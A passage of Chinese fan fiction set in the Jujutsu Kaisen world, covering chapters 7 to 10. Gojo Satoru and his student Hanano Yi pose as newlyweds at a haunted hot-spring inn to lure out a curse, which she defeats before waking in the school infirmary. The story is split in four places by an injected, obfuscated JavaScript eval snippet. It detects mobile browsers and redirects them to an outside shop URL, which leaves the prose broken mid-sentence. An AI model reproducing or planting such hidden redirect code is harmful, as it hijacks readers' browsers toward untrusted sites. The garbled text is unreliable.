花野依沉默了几秒,然后小声说:“我不会炸温泉旅馆的……” “那可说不定。”五条悟笑了一声,“万一你的咒术失控了呢?万一噗噗突然发狂了呢?万一……” “您别说了!”花野依打断他,声音里带着几分着急,“再说我更紧张了!” 五条悟笑出声来,那笑声在车厢里回荡,驱散了几分夜色的阴冷。 7. 第七章 车在山路上又行驶了大约二十分钟,终于在一处开阔地停了下来,花野依透过车窗往外看,忍不住倒吸一口气。 那是一家温泉旅馆。 从门面上看,就透着一股非同寻常的气魄,典型的和式建筑,黑瓦白墙,飞檐翘角,门前两盏巨大的灯笼在夜风中轻轻摇晃,投下昏黄的光晕。 正门上方挂着一块匾额,写着“汤元馆”三个字,笔力遒劲,看得出有些年头了。 整座建筑依山而建,层层叠叠,错落有致,在夜色的笼罩下,像一只盘踞在山间的巨兽。 但真正让花野依倒吸一口气的,不是它的气派,而是笼罩在它上方的那种东西,咒力,或者说诅咒的气息。 气息浓稠得几乎肉眼可见,像一团墨色的雾气,缠绕在旅馆的每一个角落。 从屋顶的瓦片间渗透出来,从窗户的缝隙里弥漫出来,从门前的灯笼光晕中透出来。 花野依的指尖开始发凉她能感觉到,那东西很强,比她想象的强得多。 “五条老师……”她轻声开口,声音里带着一丝不易察觉的颤抖,“这个……” “嗯?”五条悟已经下了车,站在车前伸懒腰,“感觉到了?” 花野依点点头,抱着噗噗下了车,噗噗在她怀里发出低低的“噗叽”声。 那双黑豆一样的眼睛紧紧盯着面前的旅馆,浑身的叶子都绷紧了,她害怕的躲进了花野依的影子里。 “这个……很强……”花野依说,声音更轻了。 “是挺强的,”五条悟的语气依然轻松,“不过别怕,有我在。” 他顿了顿,转头看向她,墨镜后面的眼睛似乎在笑:“而且,你不是想学吗?这不就是最好的教材?” 花野依看着他,又看看面前那座被诅咒笼罩的旅馆,深吸一口气。 教材! 这种级别的诅咒,叫教材! 她突然有点想回车上但脚却像是被钉在地上一样,没有动,因为她知道,既然选择了这条路,这一天迟早会来。 只是没想到,来得这么快! “欢迎光临汤元馆,”一位穿着灰色和服的招待生从里面走来,“请两位跟我走。” 五条悟迈步向里走去,花野依让发抖的噗噗躲在影子里,自己跟在五条老师后面。 与外面庄严古朴的风格不同,庭院内里就是温馨浪漫的恋爱电影取景地,典型的和式庭院里种满了各色花卉。 粉色的樱花虽然已经过了盛开的季节,但取而代之的是大片大片的紫阳花,在晨光中泛着柔和的光晕。 走过庭院到了真正的招待门口,门口的招牌上写着“恋月”二字,字体婉约,旁边还刻着一对小鹿,不知为何,那对鹿看起来像是在依偎着彼此。 “这家店的庭院……”花野依有些困惑地打量着周围,“看起来好漂亮。” “嗯,是挺漂亮的。”五条悟也下了车,伸了个懒腰,“而且有个很有趣的特点。” “什么特点?” 五条悟没有立刻回答,只是看着她,嘴角弯起一个意味深长的弧度。 花野依被他笑得有些发毛,正想追问,旅馆的门被招待生推开了,里面一个穿着紫色和服的中年女人迎了出来,脸上带着职业性的笑容。 “欢迎光临,请问是预约的客人吗?” “是的,”五条悟递过去一张卡片,“五条,预约了一晚。” 女人接过卡片看了看,笑容愈发殷勤:“好的好的,五条先生和……夫人是吧?请跟我来。” 花野依的脚步顿住了。 夫人? 她转头看向五条悟,发现那个人正若无其事地往前走着,仿佛什么都没听见。 “那个……”花野依小跑几步追上他,压低声音问,“夫人是什么意思?” “就是字面意思啊,”五条悟的语气轻松得像是在聊天气。 “这个任务需要以情侣身份入住,但是那位招待生误以为我们是夫妻,所以你就是我的夫人。” 花野依的脑子当机了。 “夫、夫人?!” 她的声音不自觉拔高了一点,又迅速压下去,“为什么需要以夫妻身份入住?!” “因为这家旅馆的咒灵啊,”五条悟脚步不停。 “只会在一个特定的条件下显现——” 他顿了顿,低头看向她,墨镜后面的眼睛里带着一丝玩味。 “根据窗的猜测,只有真心相爱、并且住在同一间房、睡在同一张床上的夫妻,才能触发它的出现!” 花野依再次愣住了。 “所以,”她艰难地消化着这个信息,“我们要假扮……” “对,假扮夫妻,”五条悟说,“而且是那种很恩爱的夫妻。” 他说这话的时候,语气里没有半点不自然,仿佛在说“今天天气不错” 花野依看着他,突然意识到一个问题,这个人,完全没有把这件事当成什么大不了的事情。 对他来说,这大概就是任务需要,仅此而已。 可是对她来说…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471630|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花野依低下头,感觉脸颊有些发烫。 她不知道该怎么反应才对,她从来没有谈过恋爱,从来没有和任何人有过那种亲密的关系。 更别说假扮成某人的妻子了,她甚至连该用什么样的表情、该说什么样的话都不知道。 “怎么了?”五条悟的声音从头顶传来。 花野依抬起头,对上他墨镜后面那双看不清的眼睛,小声问:“那个……我需要做什么?” “做什么?” “就是……假扮夫妻……”花野依的声音更小了,“我没做过……不知道该怎么做……” “不知道该怎么做?”他重复了一遍她的话,“其实我也不知道——嗯!顺其自然就好!” 花野依感觉到他的手落在了自己头顶,轻轻地揉了揉。 “不用想太多,”他语气平静。 “就正常相处就行,反正我们平时怎么相处,现在就怎么相处,只要让别人觉得我们是夫妻就行了。” 花野依想了想,觉得好像也有道理。 他们平时相处……不就是老师和学生吗? 这能让人相信是夫妻? 她还在思考这个问题的时候,那个穿着和服的女人已经带着他们穿过玄关,来到了登记台前。 她拿出登记簿,递上笔,笑容可掬地问:“请问两位怎么称呼?” “五条悟,”五条悟接过笔,非常自然地写下自己的名字,然后在旁边的“伴侣”一栏里写下,“五条依”。 女人看着那个名字,又看了看花野依,笑容里多了一丝好奇:“这位小姐真年轻呢,和五条先生是……” “新婚。”五条悟面不改色地说。 花野依差点被自己的口水呛到。 新婚?! 她抬头看向五条悟,发现那个人脸上依然挂着那种云淡风轻的笑容,完全看不出是在说谎! “哎呀,新婚旅行吗?”女人的笑容愈发灿烂。 “那真是太好了!我们旅馆最适合新婚夫妇了,尤其是那个情侣温泉,据说一起泡过的夫妻会白头偕老哦!” “是吗?那一定要试试!” 五条悟转过头看向花野依,语气温柔得让花野依起了一身鸡皮疙瘩,“对吧,亲爱的?” 花野依整个人都僵住了。 亲爱的? 他叫她亲爱的? 她的脑子一片空白,完全不知道该怎么回应,只能僵硬地点了点头,发出一声几不可闻的 “嗯。” 8. 第八章 女人看着这一幕,笑容里多了一丝意味深长,她看着花野依那张通红的脸,又看了看五条悟那张云淡风轻的脸,突然意识到了什么。 这个女孩,看起来很年轻呢…… 女人的眼神变得有些微妙。 但她什么都没说,只是继续保持着职业性的笑容,引着他们往房间走去。 走廊很长,两侧是和式的纸门,门上绘着各种与爱情有关的图案——相拥的恋人,交颈的天鹅,并蒂的莲花。 花野依跟在五条悟身后,脑子还在嗡嗡作响,反复回放着刚才那句“亲爱的” 那是假的她知道,是为了任务她明白,但听到那句话从他嘴里说出来,她还是有种说不清的感觉。 不是心动,她没那么容易对老师产生那种感情,也不是反感,她知道这是任务需要。 只是……陌生。 从未体验过的陌生。 “到了”,女人的声音把她从思绪中拉回来。 面前是一扇和其他房间没什么区别的纸门,但门上挂着一块小小的木牌,写着“月之间”三个字。 女人推开门,露出里面的景象,典型的和式房间,铺着榻榻米。 角落里摆着矮桌和茶具,窗外能看见庭院里的假山和流水,但最引人注目的,是房间正中央那张被褥。 一张…… 只有一张,而且明显是双人的! 花野依的脑子里有什么东西嗡地响了一声。 “请好好休息”女人说着,转身准备离开。 在离开前,她的目光在两人身上转了一圈,最后落在花野依脸上—。 目光里带着一丝审视,还有一丝欲言又止。 然后她看向五条悟。 那眼神变了…… 变得复杂起来,像是在看一个……诱拐少女的人。 五条悟的表情僵了一瞬。 一瞬间的僵硬太过短暂,几乎无法察觉,但花野依正巧抬起头,看到了那一幕,她看到他的嘴角微微抽搐了一下。 老师怎么了? 花野依还没来得及细想,女人已经离开了,纸门在身后合上,发出轻轻的响声。 房间里只剩下他们两个人和一张双人床。 沉默在空气中蔓延。 花野依站在门口,不知道该说什么,她看着那张被褥,又看了看五条悟,脑子里乱糟糟的,完全无法思考。 五条悟倒是很快就恢复了常态,他走到窗边,推开窗户,让庭院里的凉风吹进来。 “别想太多,”他语气依然是那种漫不经心的调子,“晚上你睡床,我坐在地上。” 花野依愣了一下:“坐在地上?” “嗯,”五条悟解释道,“我坐着也能休息。” 花野依想了想,小声说:“可是……任务不是需要两个人睡在同一张床上才能触发吗?” 五条悟回过头看她,墨镜后面的眼睛似乎带着一丝意外。 “所以你的意思是……” “如果不在同一张床上,咒灵就不会出现,”花野依认真地说,“那我们就完不成任务了。” 她说这话的时候,脸上只有一种单纯的、专注的认真,她在思考任务,在思考怎样才能完成任务,仅此而已。 五条悟看着她,思考了一会儿。 “那这样,晚上你睡床,我坐在床边,这样既算是‘同一张床’,又不会真的挤到你,可以吗?” 花野依想了想,点点头:“可以!” 她顿了顿,又补充道:“谢谢五条老师!” 五条悟摆了摆手,没说什么,只是转身继续看向窗外。 月光从窗户洒进来,在他身上镀上一层金色的光晕,花野依看着他的背影,突然想起刚才看见五条老师抽搐的嘴角。 五条老师刚才是发现了什么不对劲吗? 她想问,但又觉得问了可能会显得很蠢,于是默默地把问题咽了回去。 反正,五条老师应该知道吧。 他那么厉害,什么都知道。 窗边,五条悟看着庭院里的假山流水,第一次感受到一种奇异的情绪,意外的有些微妙呢。 那个服务员的眼神,他看得清清楚楚。 那眼神里分明写着:这个男人一定是个骗子,欺骗了这个天真无知的小姑娘。 他想解释,但又无从解释,总不能说“我们是假扮夫妻来做任务的,其实是老师和学生”吧?听起来更不妙了吧! 所以他只能沉默。 沉默地承受那个眼神,任由那个服务员在心里给他贴上“邪恶男人”的标签。 这一切的当事人之一完全不知道发生了什么,她还一脸单纯地在那里认真思考任务,还一本正经地说“需要两个人睡在同一张床上才能触发”,还坦坦荡荡地道谢。 五条悟叹了口气,嘴角却忍不住微微上扬。 这次的任务,还真是…… 傍晚时分,当夕阳把整个房间染成暖橙色时,花野依第一次感受到了那种说不清道不明的紧张。 再过几个小时,她就要和五条老师一起“睡”在那张床上了,虽然是他在床边坐着,她在床上躺着,但毕竟是在同一张床上。 她告诉自己这没什么,是为了任务,是为了完成任务。 但脑子里还是会不由自主地冒出一些奇怪的念头,比如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471631|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一她睡着了滚下床怎么办,比如万一她半夜醒来看见五条老师的脸怎么办,比如万一…… “想什么呢?” 五条悟的声音突然在耳边响起,吓得花野依差点跳起来。 她转过头,发现他不知道什么时候已经走到了她身边,正低头看着她。 “没、没什么……”她连忙摇头。 “是吗?”五条悟看着花野依绯红的脸颊问道:“脸这么红,是太热了?” 花野依下意识地摸了摸自己的脸确实有点烫,“是、是的,太热了……” 五条悟看了看窗外。 “那要不要去泡个温泉?据说这里的温泉很不错,而且有个情侣专用的池子,正好符合我们的身份。” 花野依愣住了,温泉?现在?和老师一起? “放心,”五条悟看出她的犹豫。 “当然是分开泡,你去女汤,我去男汤,不过等会儿回来的时候,记得表现得自然一点,那个服务员好像在怀疑我呢。” 花野依下意识地看向门口,果然,透过纸门的缝隙,能看到一个模糊的影子。 那个服务员,还在监视他们? “好、好的……”她小声说,“我会努力的……” 五条悟看着她那副认真的样子,忍不住笑了:“努力什么?” “努力……表现得像……”花野依的声音越来越小,“像您的妻子……” 这话说完,她的脸更红了。 五条悟看着她,沉默了两秒,然后伸手揉了揉她的头发。 “不用太努力,”他说,语气比平时柔和了几分,“自然一点就好。” 他的手很大,很温暖,落在头顶的时候带着一种让人安心的重量,花野依下意识地闭上眼睛,悄悄松口气。 “去吧,”五条悟收回手,“泡个温泉,放松一下。” 花野依点点头,往门口走去。 走到门口时,她突然想起什么,回过头来。 “五条老师。” “嗯?” “那个……”她犹豫了一下,还是问出口,“您为什么对我这么好?” 五条悟愣了一下。 为什么对她这么好? 他看着站在门口的那个瘦小身影,看着她那双认真的、带着几分期待的眼睛。 “因为你是我的学生。” 花野依点点头,有些开心,接受了这个答案,转身推门出去了。 纸门在身后合上,房间里只剩下五条悟一个人。 他看着那扇门,沉默了很久。 他笑了笑,自言自语道:“嗯!泡完温泉之后喝一杯草莓牛奶吧!” 9. 第九章 夜幕降临,月亮升起。 花野依泡完温泉回来的时候,发现房间里的被褥已经被铺好了,依旧是那一张双人床,但枕头分得很开,中间隔了至少半米的距离。 五条悟坐在窗边,手里拿着一份文件,借着月光在看什么。 “回来了?”他抬起头,“感觉怎么样?” “很舒服……” 花野依抱着噗噗走过去,在他身边坐下,“那个温泉……真的很暖和……” “嗯,那就好。”五条悟收起文件,“早点休息吧,咒灵可能会在后半夜出现。” 花野依点点头,站起来走向那张床。 走到床边时,她停下脚步,看着那张被褥,深吸一口气。 然后躺了下去,被褥很软,很舒服,带着阳光晒过的味道。 她侧过身,看向窗边的五条悟,他坐在那里,月光从他身后照进来,勾勒出一个安静的轮廓。 “五条老师,”她轻声问,“您不休息吗?” “我等等,”五条悟说,“你先睡。” 花野依想说什么,但话到嘴边又咽了回去,她闭上眼睛,听着窗外的虫鸣,听着自己的心跳,听着自己的呼吸声。 不知过了多久,她睡着了,月光静静地洒落,照在她的脸上,照在她微微皱起的眉头上。 她似乎在做什么梦,眉头时不时地蹙一下,嘴唇轻轻抿着,像是在说什么听不见的话。 五条悟看着她,然后他站起来,走到床边,在床沿上坐下。 这样,就算是在同一张床上了,他坐在床头,闭上眼睛,却并没有真正睡着。 时间一分一秒地流逝,月亮慢慢移动,窗外的虫鸣渐渐低了下去。 在午夜最深的时候,花野依突然睁开眼睛。 像是有什么东西正压在胸口上,她下意识地想动,却发现身体完全不听使唤,像是被钉在床上一样。 “别动,”五条悟的声音在耳边响起,很低,很轻,“它来了。” 花野依的瞳孔猛地收缩。 房间里不知道什么时候起,多了一层淡淡的雾气,带着一种诡异的粉色,月光被染成了另一种颜色。 花野依意识到这一点的时候,那些粉色的雾气已经浓得几乎化不开,像是无数层薄纱叠加在一起,将整个房间裹成一个密不透风的茧。 她躺在被褥上,身体僵硬得像是被钉住,只有眼珠能勉强转动,她看到五条悟依然坐在床边,姿态闲散,仿佛这一切都与他无关。 那双被墨镜遮住的眼睛正注视着雾气的深处,注视着那些渐渐成形的轮廓。 那些轮廓从雾中走出时,花野依的呼吸停滞了一瞬。 她们是女人! 身形曼妙,面容姣好,穿着各式各样的和服或洋装。 有的手里捧着枯萎的花束,有的怀里抱着褪色的信笺,有的只是静静地站着,用那双空洞的眼睛望向床上的人。 但最让花野依心悸的不是她们的存在,而是她们的动作。 那些手,无数只苍白的手,正从雾气中伸出,向她的方向探来。 第一只手触碰到她脚踝的瞬间,花野依感觉自己的整条腿都失去了知觉,彻底的麻木,像是被注入了某种麻痹神经的毒素。 她惊恐地低头看去,发现那只手触碰过的地方,皮肤正在变成一种诡异的灰色。 那灰色以肉眼可见的速度向上蔓延,从小腿到大腿,从大腿到腰际。 “这是……”她艰难地开口,声音沙哑得几乎听不清。 “咒力的侵蚀,”五条悟的声音从头顶传来。 “这个咒灵的能力不是物理攻击,而是精神感知层面的抹除,被它触碰的地方,会让人感觉逐渐从现实中消失,最后只会留下一具空壳。” 消失! 花野依的瞳孔猛地收缩,她拼命挣扎,想甩开那只手,但更多的轮廓围了上来。 十只,二十只,无数只手从四面八方伸过来,抓住她的手腕,抓住她的脚踝,抓住她的衣襟,把她往那片雾气的深处拖去。 每多一只手的触碰,就多一片皮肤变成那种诡异的灰色,她的手臂,她的肩膀,她的脖颈。 灰色正在一寸一寸地吞噬她的身体,而她能感觉到,那些被吞噬的部位,正在失去“存在”的感觉。 “噗噗!”她嘶声喊道。 噗噗从枕头边跳起来,身体迅速变大撞向那些手,用短小的四肢去撕扯它们。 但它战斗经验不足,太弱了,那些手只是轻轻一挥,就把它甩到了墙上,发出沉闷的撞击声。 噗噗从墙上滑落,发出一声痛苦的“噗叽”,挣扎着爬起来,却又被另一只手拍飞出去。 “噗噗!不要——!”花野依看着这一幕,感觉心脏像是被狠狠攥住。 她拼命挣扎,用尽全身力气去踹那些手,但那些手太密集了,她踹开一只,就有十只重新抓上来。 那灰色已经蔓延到她的胸口,她能感觉到自己的呼吸正在变得困难,意识正在变得模糊—— 五条老师…… 她用最后一丝力气看向床边的那个人 他坐在那里 月光从他身后照进来,在他周身镀上一层银边,墨镜遮住了他的眼睛,让她看不清他的表情。 只能看到那个姿态,平静的,笃定的,等待的姿态。 他没有出手 他在等什么? 等她的极限? 还是等她…… 花野依闭上眼睛 不行! 不能就这样认输! 可是——她还能做什么? 咒力已经被压制得几乎无法调动,那些手的触碰正在不断侵蚀她的存在,噗噗也受伤了,她还能做什么? 她还能…… 等等! 那些手的触碰会干扰精神,那如果,让那些手触碰到不到“精神”呢? 一个疯狂的念头在脑海中闪过 花野依睁开眼睛,用最后一丝清醒的意识,看向墙角那个奄奄一息的身影。 “噗噗……” 她艰难地开口,声音几乎是从牙缝里挤出来的,“帮我……” 噗噗抬起头,那双黑豆一样的眼睛在夜色中闪闪发光,它挣扎着爬起来,缩小了自己的体型,一瘸一拐地跑向她。 那些手想要拦住它,但噗噗体型太小了,它在那些手的缝隙间穿梭,躲过一次次抓取,最后终于冲到她身边。 “吞下我!”花野依说 “吞下我” 她重复道,声音越来越弱,那灰色已经蔓延到她的胸口,“然后……制造一个……我……” 话没说完,她的嘴唇也变成了灰色,发不出任何声音。 噗噗动作迅速,它张开嘴一口将花野依吞了下去。 在那些手反应过来之前,它又张开嘴,吐出了一个东西。 那是花野依,是另一个花野依。 和她一模一样的花野依,同样的黑色长发,同样纤细瘦小的身体,同样穿着那件皱巴巴的衣服,连脸上那种惊恐的表情都一模一样。 那些手愣住了。 它们看着面前这个“花野依”,陷入了诡异的困惑。 但它们很快就动了起来。 因为不管哪个是真的,只要抓住就行了。 那些手再次涌上来,抓住那个“花野依”的脚踝,抓住她的手腕,抓住她的衣襟。 灰色的侵蚀再次开始,从小腿蔓延到大腿,从大腿蔓延到腰际—— 但这次,有什么不一样了。 那灰色蔓延到一半,突然停了下来。 那些手困惑地摸索着,想要继续侵蚀,却发现自己抓住的东西,正在一点一点地……变淡。 像是在从一个实体,变成一个影子,从一个影子,变成一个幻觉。 那个“花野依”开始发散,她正在变成光,变成无数细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471632|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的、温暖的光点,从那些手的指缝间流泻出去,弥漫到整个房间。 那些手惊恐地想要抓住那些光点,但光点怎么可能被抓住? 它们只能眼睁睁地看着那些光点越散越开,越散越广,最后—— 整个房间变了。 那些粉色的雾气消失了,取而代之的是一片无边无际的花田,女人的轮廓消失在无数摇曳的花朵中。 那些手拼命地抓取但它们抓住的只有花瓣,只有光,只有风。 它们所在的,已经不再是那个房间 而是噗噗制造出的、由花野依的咒力凝聚而成的、介于真实和虚幻之间的—— 幻境。 那些女人在幻境中茫然四顾,她们想要找到出口,想要找到那个可以抓取的“真实”,但这里的一切都是假的。 花是假的,光是假的,风是假的,甚至连她们自己,都开始分不清什么是真什么是假。 在幻境的中心,噗噗静静地趴着。 它的肚子鼓鼓的,里面躺着真正的花野依,但它没有动,只是趴着。 它在等一个时机。 那些咒灵彻底放松警惕,等它们彻底迷失在这个幻境里。 然后,它张开嘴。 那些女人看到了那张嘴,那张嘴在幻境中显得无比巨大,像是能吞噬一切的黑洞。 她们惊恐地尖叫,想要逃跑,但幻境已经让她们彻底迷失了方向。 她们不知道哪里是真哪里是假,不知道哪个方向是生路哪个方向是死路,只能眼睁睁地看着那张嘴越来越近,越来越近—— 最后,一口吞下。 噗噗闭上嘴,喉咙滚动了一下,把那几十年来积累的所有怨念、所有痛苦、所有被背叛的悲伤,全部咽了下去。 幻境开始消散。 那些花朵一片片地飘起来,光线一缕缕地黯淡下去,当最后一朵花消失时,噗噗张开嘴,把真正的花野依吐了出来。 她躺在榻榻米上,脸色苍白得几乎透明,呼吸微弱得几乎察觉不到。 灰色依然残留在她身上,但正在以肉眼可见的速度褪去,被侵蚀的皮肤一点点恢复原本的颜色。 五条悟终于动了,他站起身,走到她身边,蹲下来。 月光从窗外照进来,在他脸上投下明暗分明的光影,他低头看着她,看着那张苍白的、毫无血色的脸,那双紧闭的眼睛,微微颤抖的睫毛。 他伸出手,轻轻按在她额头上。 咒力从掌心渗入她的身体,探查着她的状况。 咒力几乎耗尽,但没有生命危险,她只是睡着了,或者说昏过去了,在耗尽了全部精力之后。 “你这孩子,”他喃喃道,声音很轻,带着骄傲,“这不是做的很好嘛!” 他顿了顿,看着那张脸,突然想起什么,他伸手从口袋里掏出手机,打开相机,对准她的脸—— 咔嚓! 拍了一张 他看着手机屏幕里的那张睡脸,嘴角微微上扬。 “把你的糗照发给你的前辈和同期们!”他语气里带着一丝促狭。 虽然这么说,虽然知道花野依只是咒力耗尽后的昏迷,五条悟还是收起了手机,用六眼仔细观察着花野依的状态。 咒术师都是疯子,在咒术界这是一个常理,花野依有着超出常人的潜能,为了激发她的能力,自己选择了旁观,让她在危机中成长,但…… 是不是有些严格了呢? 无人能够回答他的问题,只有窗外的月色和虫鸣映衬在这间屋内。 花野依的眉头慢慢舒展开来,她的脸色慢慢恢复一点血色,呼吸逐渐变得平稳。 他伸出手,轻轻地摸了摸她的脑袋。 “做得很好” 声音很轻,只有他自己能听见。 他收回手,站起身来坐在窗边,闭上眼睛。 晨光漫过窗棂,洒在两人身上。 天快亮了。 10. 第十章 花野依是在一片嘈杂声中渐渐恢复意识的,那些声音像是隔着一层厚厚的水幕传来,模糊而遥远。 “……让学生做自己的任务,这叫什么事儿啊!” 野蔷薇的声音清晰地穿透那层水幕,钻进花野依的耳朵里。 “那是他的任务吧?是他的吧?怎么就变成小依一个人面对了?” “钉崎,你小点声,” 虎杖悠仁的声音带着几分无奈,“这里是医务室,小依还在休息……” “我就是因为她还在休息才生气的!”野蔷薇的声音非但没小,反而更大了几分。 “那个混蛋老师,把学生骗去做任务,自己跑得没影,结果小依直接昏迷了三天! 三天!你知道三天是什么概念吗!万一她醒不过来怎么办!” 三天? 花野依的思绪在这个词上停顿了一瞬。 她昏迷了三天? “你们两个,”伏黑惠的声音冷淡地插进来。 “太吵了!花野需要安静的环境恢复,你们这样吵下去,她怎么休息?” “哦,伏黑你现在装好人了?”野蔷薇立刻调转枪口。 “刚才谁跟我一起骂五条老师来着?” “我只是陈述事实,”伏黑惠的语气依然平淡,但细听之下能察觉到一丝不易察觉的心虚。 “而且我说的是‘五条老师这种做法确实欠妥’,这和骂他是两回事。” “有区别吗?” “……” 花野依的眼皮微微颤动了一下。 她已经完全清醒了,但不知为何,有些不敢睁开眼睛,她躺在那里,听着同期们为自己争吵,心里暖洋洋的。 “伏黑说得对,”虎杖悠仁的声音再次响起,“我们确实太吵了,万一影响到小依恢复……” “她已经醒了。”伏黑惠突然说。 花野依的心跳漏了一拍。 “诶?”野蔷薇的声音里满是惊讶,“你怎么知道?” “呼吸频率变了,”伏黑惠说,“刚才一直很平稳,现在明显加快了。” 花野依:………… 这人是什么怪物啊! 既然被拆穿了,她也不好再装睡,只能睁开眼睛,对上三张凑过来的脸。 “小依!” 野蔷薇第一个扑上来,一把抓住她的手, “你醒了!感觉怎么样?有没有哪里不舒服?头晕不晕?想不想喝水?饿不饿?” 花野依被她连珠炮似的问题砸得有些懵,下意识地摇了摇头,又点了点头,最后干脆放弃了回应,只是小声说: “我……我没事……” “没事才怪!”野蔷薇瞪了她一眼 “你知道你昏迷了多久吗?三天!整整三天! 家入医生说你是咒力消耗过度,身体自我保护才强制休眠的——你到底干了什么啊?” 花野依张了张嘴,还没来得及回答,虎杖悠仁已经凑了过来,脸上带着那副标志性的灿烂笑容。 “花野同学,你醒了真是太好了!野蔷薇这三天一直在念叨你,说什么‘五条老师太不像话了’‘小依要是醒不过来我饶不了他’之类的——” “虎杖!”野蔷薇的脸腾地红了,“你瞎说什么!” “我没瞎说啊,你确实这么说的。” 野蔷薇瞪着他,那眼神几乎要把他当场火化。 花野依看着这一幕,嘴角不自觉地微微上扬。 明明身体还很疲惫,明明脑子里还乱糟糟的,但看着他们这样吵闹,心里却莫名地安定下来。 “那个……”她小声开口,打断了两人的眼神交锋,“这里是……医务室吗?” “对,高专的医务室。”伏黑惠接过话头,语气依然是那副平平淡淡的调子。 “五条老师三天前把你送过来的,说是任务中咒力耗尽,需要静养,然后他就走了,说是有紧急任务要处理。” 走了? 花野依愣了一下 “那家伙就是那样,”野蔷薇撇了撇嘴,语气里带着明显的不满。 “让学生去做自己的任务,也不想想你一个人面对那个咒灵有多危险!” “其实……”花野依想解释什么,但又不知道该从何说起 就在这时,医务室的门被推开了。 一个穿着白大褂的女人走了进来,嘴里叼着根烟,眼下有颗泪痣,神情慵懒而疏离。 正是家入硝子,咒术高专的校医,也是咒术界为数不多拥有反转术式的治疗师。 她走到床边,上下打量了花野依一眼,伸手翻了翻她的眼皮,又探了探她的额头。 “嗯,恢复得不错。”家入硝子收回手,语气平淡。 “咒力消耗过度,身体机能暂时性衰竭,不过现在已经恢复得差不多了,可以起来了,回去好好吃饭,多休息几天就没事了。” 花野依愣了一下:“可、可以走了?” “不然呢?还想在我这儿多住几天?” 家入硝子挑了挑眉,嘴角微微上扬,带着一丝促狭,“床位紧张,没事就赶紧走。” 花野依连忙坐起来,却因为动作太猛眼前一黑,差点又栽回去。 野蔷薇眼疾手快地扶住她,嘴里抱怨着:“你慢点啊,刚醒过来就这么急——” “谢谢……”花野依小声说,等那阵眩晕过去后,慢慢从床上下来,站稳了身子。 她转向家入硝子,认真地鞠了一躬:“谢谢医生。” 家入硝子摆了摆手,叼着烟转身走了,背影潇洒得很。 “走吧,”野蔷薇挽住她的胳膊,“带你去食堂吃点东西,你三天没吃饭了,肯定饿坏了吧?” 花野依被她拖着往外走,虎杖悠仁和伏黑惠跟在后面,四个人穿过走廊,走过庭院,最后来到一间宽敞的食堂里。 已经过晚饭时间,食堂里只零星坐着几个工作人员,野蔷薇找了个靠窗的位置,把花野依按在座位上,自己去窗口打饭。 不一会儿,四份餐食摆在了桌上。 花野依看着面前热气腾腾的饭菜,突然意识到自己确实饿了,她拿起筷子,小口小口地吃起来,听着其他三个人有一搭没一搭地聊着。 “对了,”野蔷薇突然想起什么,看向花野依 “小依,你还没说呢,那天到底发生了什么?五条老师到底让你做什么任务?” 花野依的动作顿了顿。 她放下筷子,犹豫了一下,还是小声开口了:“五条老师说……带我去吃大福。” 三个人齐齐看向她。 “然后呢?”虎杖悠仁问。 “然后……”花野依的脸颊微微发烫。 “然后他把我带到了一家温泉旅馆,说那里的温泉馒头很好吃,但是到了之后我才知道,那里其实有咒灵出没,他是带我去做任务的。” 野蔷薇的眼睛瞪大了。 “所以,他用‘吃大福’这种借口,把你骗去做任务?” 花野依点了点头。 “而且那个咒灵,” 她顿了顿,声音更小了几分,“需要……需要以夫妻身份入住才能触发。” 空气安静了一瞬。 然后野蔷薇拍案而起:“什么?!” 虎杖悠仁也愣住了:“夫妻?你和五条老师?” 伏黑惠虽然没说话,但眉毛微微挑高了一点,那表情分明是在说“那个人在搞什么!” “所以你们……”野蔷薇的脑子里明显在脑补什么不得了的画面。 “只是假扮!”花野依连忙解释。 “是为了任务才假扮的!而且我们什么都没做,就是……就是在一个房间里睡了一觉……” 这话说出来,她自己都觉得有些不对劲。 “在一个房间里睡了一觉?”野蔷薇重复了一遍这句话,表情愈发复杂。 “不是那种睡!是……”花野依的脸红透了,“他坐在床边,我睡在床上,就是这样!” 野蔷薇看着她那副着急解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“明明是那家伙做得不对,把学生骗去做危险的任务,自己不出手,结果你还在替他解释——你知道这叫什么吗?” 花野依摇了摇头 “这叫‘溺爱’,”野蔷薇一字一句地说 